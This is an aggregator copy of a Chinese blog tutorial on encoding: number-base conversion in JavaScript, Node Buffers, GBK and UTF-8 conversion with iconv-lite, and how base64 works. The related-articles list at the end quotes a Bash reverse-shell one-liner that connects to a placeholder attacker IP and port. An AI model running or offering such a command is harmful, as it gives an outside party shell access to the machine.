41 # 编码的问题

news2024/12/25 9:34:52

常见的进制

  • 10 进制:除表示正负的符号外,以 1~9 开头,由 0~9 组成。如 128+234-278
  • 2 进制:以 0b 开头,0b11
  • 8 进制:以 00o开头,由 0~7 组成的数。如 0126, 050000, 0o666.
  • 16 进制:以 0X0x 开头,由 0~9A~Fa~f 组成。如 0x12A, 0x5a000

进制的互相转换:js 中提供了相互转换的方法。

编码过程中都是以字节为单位,一个字节是由 8 个 bit 位(二进制)构成,常见的一个字节组成一个字符,双字节组成汉字(gbk),三个字节组成一个汉字(utf8)

转换规则:

  • 把任意进制转换成 10 进制,需要用当前所在的值 * 当前进制的 ^ 第几位
let sum = 0;
for(let i = 0; i < 8; i++) {
    sum += Math.pow(2, i)
}
console.log(sum); // 255
  • 把 10 进制转换成任意进制可以采用取余的方法

将任意进制转换成 10 进制

parseInt(string, radix) 解析一个字符串并返回指定基数的十进制整数,radix 是 2-36 之间的整数,表示被解析字符串的基数。

console.log(parseInt('11', 2)); // 3

将任意进制转成任意进制

Number.prototype.toString()

Number 对象覆盖了 Object 对象上的 toString() 方法,它不是继承的 Object.prototype.toString()。对于 Number 对象,toString() 方法以指定的基数返回该对象的字符串表示。进行数字到字符串的转换时,建议用小括号将要转换的目标括起来,防止出错。

console.log((0x16).toString(2)); // 10110

node 中编码

在 node 中需要进行文件读取,node 中操作的内容默认会存在内存中,内存中的表现形式肯定是二进制的,二进制转换成 16 进制来展现

const fs = require("fs");
const path = require("path");

let r = fs.readFileSync(path.resolve(__dirname, "./test.md"));

console.log(r);
// Buffer 可以和字符串直接互相转换
console.log(r.toString());

在这里插入图片描述

编码的发展史

  • ASCII 编码:一共定义了128个字符的编码规则,一些常用的符号和字母,进行了一个排号,最大编码就是 127(第一位为空),只会占用一个字节大小。
  • GB2312:1980 年,中国发布了第一个汉字编码标准,收录了 6763 个常用的汉字和字符,汉字用两个字节,(255 * 255)
  • GBK:1995 年发布,由于有些汉字是在 GB2312 标准发布之后才简化的,还有一些人名、繁体字、日语和朝鲜语中的汉字也没有包括在内,所以,在 GB2312 的基础上添加了这部分字符,就形成了 GBK ,全称 《汉字内码扩展规范》,共收录了两万多个汉字和字符,它完全兼容 GB2312
  • GB18030:全称《信息技术中文编码字符集》收录七万多个汉字和字符, 它在 GBK 的基础上增加了中日韩语中的汉字 和 少数名族的文字及字符,完全兼容 GB2312,基本兼容 GBK
  • Unicode:国际标准字符集,它将世界各种语言的每个字符定义一个唯一的编码,以满足跨语言、跨平台的文本信息转换,可以容纳一百多万个字符
  • UTF8:(在 utf8 中,一个字符占用一个字节,一个汉字占用三个字节)

在这里插入图片描述

编码转换

gbk、utf8 是可以相互转化的,可以使用 iconv-lite

var iconv = require('iconv-lite');

// Convert from an encoded buffer to a js string.
str = iconv.decode(Buffer.from([0x68, 0x65, 0x6c, 0x6c, 0x6f]), 'win1251');

// Convert from a js string to an encoded buffer.
buf = iconv.encode("Sample input string", 'win1251');

// Check if encoding is supported
iconv.encodingExists("us-ascii")

先安装依赖:

npm init -y
npm i iconv-lite

在这里插入图片描述

然后新建文件 test2.txt,里面添加文本 凯小默,然后使用 gbk 编码形式保存。

在这里插入图片描述

再添加 test2.js,添加读取文本代码,可以看到是乱码的

const fs = require("fs");
const path = require("path");

let r = fs.readFileSync(path.resolve(__dirname, "./test2.txt"));

console.log(r);
console.log(r.toString());

在这里插入图片描述

下面添加编码转换:

const fs = require("fs");
const path = require("path");
const iconv = require("iconv-lite");

let r = fs.readFileSync(path.resolve(__dirname, "./test2.txt"));
r = iconv.decode(r, "gbk");
console.log(r);
console.log(r.toString());

在这里插入图片描述

base64

base64 没有加密功能(只是编码转换)

好处:

  • 可以传输数据,不乱码,减少 http 请求(不是所有的图片都转成 base64,体积会变大1/3)

其实就是将 3 * 8 的规则改成了 4 * 6 的方式

let buffer = Buffer.from("凯");
console.log(buffer); // e5 87 af

// 16进制转成二进制
console.log((0xe5).toString(2)); // 11100101
console.log((0x87).toString(2)); // 10000111
console.log((0xaf).toString(2)); // 10101111

// 11100101 10000111 10101111
// 组合起来分成 4 份,每份 6 位,不会超过 64
// 111001 011000 011110 101111

// 再将二进制转为十进制
console.log(parseInt("111001", 2)); // 57
console.log(parseInt("011000", 2)); // 24
console.log(parseInt("011110", 2)); // 30
console.log(parseInt("101111", 2)); // 47

// 57 24 30 47

// 取值表
let str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

// 字符串 `凯` base64 编码之后变成了`5Yev`,字节由 3 个变成了 4 个。
console.log(str[57] + str[24] + str[30] + str[47]); // 5Yev

在这里插入图片描述

我们可以使用在线工具去对上面的结果进行 base64 解码,https://www.toolhelper.cn/EncodeDecode/Base64EncodeDecode

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/684010.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Redis】多级缓存之OpenResty:nginx查询Tomcat与Redis以及nginx本地缓存

目录 一、认识OpenResty 二、请求参数处理 三、查询Tomcat 四、Redis缓存预热 五、查询Redis缓存 六、nginx本地缓存 一、认识OpenResty OpenResty是一个基于nginx的高性能Web平台&#xff0c;他用于方便的搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网…

SuperMap GIS基础产品组件GIS FAQ集锦(3)

SuperMap GIS基础产品组件GIS FAQ集锦&#xff08;3&#xff09; 【Unity】Unity中如何将场景内容限制在屏幕中间1/3处&#xff1f; 【解决办法】1、新建两个相机&#xff0c;一个代表左边屏幕&#xff0c;一个代表右边屏幕 2、通过Viewport Rect设置相机显示在屏幕中的位置&a…

南卡OE Pro首销售罄,发烧友称其为开放式耳机旗舰标杆!

6月19日南卡官博放出消息&#xff0c;南卡旗下的开放式旗舰机型OE Pro首销售罄&#xff0c;开启预售&#xff0c;将在24日早上10点整再次现货发售&#xff0c;不难看出这款开放式耳机非常火爆&#xff0c;非常受欢迎&#xff0c;被广大发烧友们誉为开放式耳机的旗舰标杆&#x…

会 java 8 stream流就会大数据!

如果你会任意一门语言的stream流&#xff0c;没道理不会大数据开发。 俗话说男追女隔座山&#xff0c;女追男隔层纱。 如果说零基础学大数据&#xff0c;感觉前面是一座山&#xff0c;那么只要你会java或者任意一门语言的stream流&#xff0c;那大数据就只隔了一层纱。 本文以…

内网隧道代理技术(七)之Bash反弹shell

Bash反弹shell Bash介绍 Shell也称为终端或壳&#xff0c;是人与内核之间的翻译官&#xff0c;而Bash则是Linux中默认使用的Shell Bash 反弹Shell的命令如下&#xff1a; bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP…

【博客676】VictoriaMetrics缓存限制之:布隆过滤器

VictoriaMetrics缓存限制之&#xff1a;布隆过滤器 1、场景 VictoriaMetrics的vmstorage组件接收上游传递过来的指标&#xff0c;在​​现实场景中&#xff0c;指标的数量级或者瞬态指标可能会非常可怕&#xff0c;如果不限制缓存的大小&#xff0c;就会存在由于缓存导致插入速…

模拟电路系列分享-运放的关键参数4

目录 概要 整体架构流程 技术名词解释 1.定义 2.优劣范围 3.理解 技术细节 1.压摆率 1.定义∶ 2.优劣范围 3.理解︰ 2.单位增益带宽 1.定义∶ 2.优劣范围︰ 3.理解∶ 小结 概要 提示&#xff1a;这里可以添加技术概要 例如&#xff1a; 实际运放与理想运放具有很多差别。理想…

jumpserver【基本使用教程】

目录 目录 【1】管理用户 【2】系统用户 【3】普通用户 【4】添加资产&#xff08;可以添加的有&#xff1a;服务器、网络设备、数据库应用&#xff09; 【5】权限划分 【6】验证&#xff08;使用普通用户登录资产&#xff09; 【7】查看是否有记录 【8】添加数据库资产…

2023全球智博会奏响AI产业发展的四重共振

2023年6月25日为期三天的第五届全球人工智能产品应用博览会&#xff08;简称“全球智博会”&#xff09;在苏州国际博览中心盛大启幕。金鸡湖畔汇聚院士专家、领军智囊、顶尖企业&#xff0c;为人工智能关键技术突破、产业化创新应用、科技产品研发落地、经济深度融合等方面提供…

解密EEMD分析:Rlibeemd包带你玩转信号分解和时间序列预测

一、简介 1.1 什么是EEMD? EEMD&#xff08;Ensemble Empirical Mode Decomposition&#xff09;是一种信号分解方法&#xff0c;它旨在分解非线性、非平稳或非白噪声的信号&#xff0c;以揭示复杂信号的局部特征和周期性成分。EEMD不同于传统的余弦变换、小波变换等线性变换…

按键控制蜂鸣器实验

目录 按键控制蜂鸣器实验 1、简介 2、实验任务 3、程序设计 3.1、顶层模块代码 3.2、按键消抖模块代码 3.3、蜂鸣器控制模块代码 4、仿真验证 5、板上下载验证 5.1、硬件设计 5.2、添加约束文件.xdc 5.3、板上下载验证 按键控制蜂鸣器实验 蜂鸣器&#xff08;Buzze…

微机保护主程序框图原理

微机保护主程序框图如图2&#xff0d;5所示。 一、初始化 “初始化”是指保护装置在上电或按下复位键时首先执行的程序&#xff0c;它主要是对单片微机&#xff08;CPU&#xff09;及可编程扩展芯片的工作方式、参数的设置&#xff0c;以便在后面的程序中按预定方案工作。例如…

荨麻疹【指南共识】

慢性自发性荨麻疹达标治疗专家共识&#xff08;2023&#xff09; 参考文献&#xff1a;中华医学会皮肤性病学分会&#xff0c; 中国医师协会皮肤科医师分会. 慢性自发性荨麻疹达标治疗专家共识&#xff08;2023&#xff09;[J]&#xff0e; 中华皮肤科杂志&#xff0c;2023, e2…

在React+ts中集成高德地图(保姆级教程)

前往高德地图开发平台高德开放平台 | 高德地图API 一&#xff1a;申请高德key 去高德官网去创建一个属于自己的地图应用 &#xff08;得到key和秘钥&#xff09; 。 首先&#xff0c;我们要注册一个开发者账号&#xff0c;根据实际情况填写&#xff0c;身份写个人&#xff1a;…

LwIP系列(3):以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式详解

前言 TCP/IP 本质上是软件协议&#xff0c;而LwIP也是对软件协议进行解析处理&#xff0c;所以我们有必要了解下以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式&#xff0c;这样在代码中&#xff0c;才能有的放矢。 以太网帧框架 以太网帧是最底层的原始数据&#xff0c;帧框架如…

Linux用户密码管理

密码复杂度设置 之前写过一篇文章&#xff0c;通过编辑/etc/pam.d下的配置文件来信hi先密码复杂度设置。 这里介绍另一种方法&#xff0c;使用authconfig名来配置。 如果没有安装该软件&#xff0c;输入如下命令安装: yum install authconfig -y 设置方法如下: authconfi…

力扣动态规划专题(六)编辑距离与回文问题 步骤及C++实现

文章目录 392. 判断子序列动态规划双指针 115.不同的子序列583. 两个字符串的删除操作方法一方法二 72. 编辑距离647. 回文子串动态规划双指针 516.最长回文子序列 392. 判断子序列 动态规划 步骤 确定dp数组以及下标的含义 dp[i][j] 表示以下标i-1为结尾的字符串s&#xff0c…

Json数据 通用提取工具 Web版

问题来源 楼主使用Golang 实现了一款通用型 JSON 数据提取工具&#xff0c;支持自动识别 JSON 数据节点并有序提取为 CSV 文件。 看到大家有这样的评论&#xff0c;顺手实现下&#xff0c;~~ 尴尬的是搞完了 &#xff0c;发现 这个论坛注册不足15天&#xff0c;不能回复评论。晕…

迅为RK3568开发板系统编程手册全新升级

iTOP-3568开发板C应用编程手册全新升级&#xff0c;《iTOP-RK3568开发板系统编程手册》旨在帮助刚入门的用户进行入门规划和学习&#xff0c;为系统编程基础指导手册。 第1部分 系统编程初探 第1章 系统编程初探 1.1 什么是系统编程 1.2 系统编程的作用 1.3 系统调用和C语言库函…

R语言使用xlsx包、安装包的经验以及切换工作目录的方法

R语言使用xlsx包 首先不同于读取txt和csv文件&#xff0c;R语言读取xlsx文件需要安装xlsx包 使用下面命令进行安装xlsx install.packages(“xlsx”) 安装过程非常顺利&#xff0c;需要附带安装其它几个包。如果安装出现错误&#xff0c;可以尝试切换网络&#xff0c;使用手机热…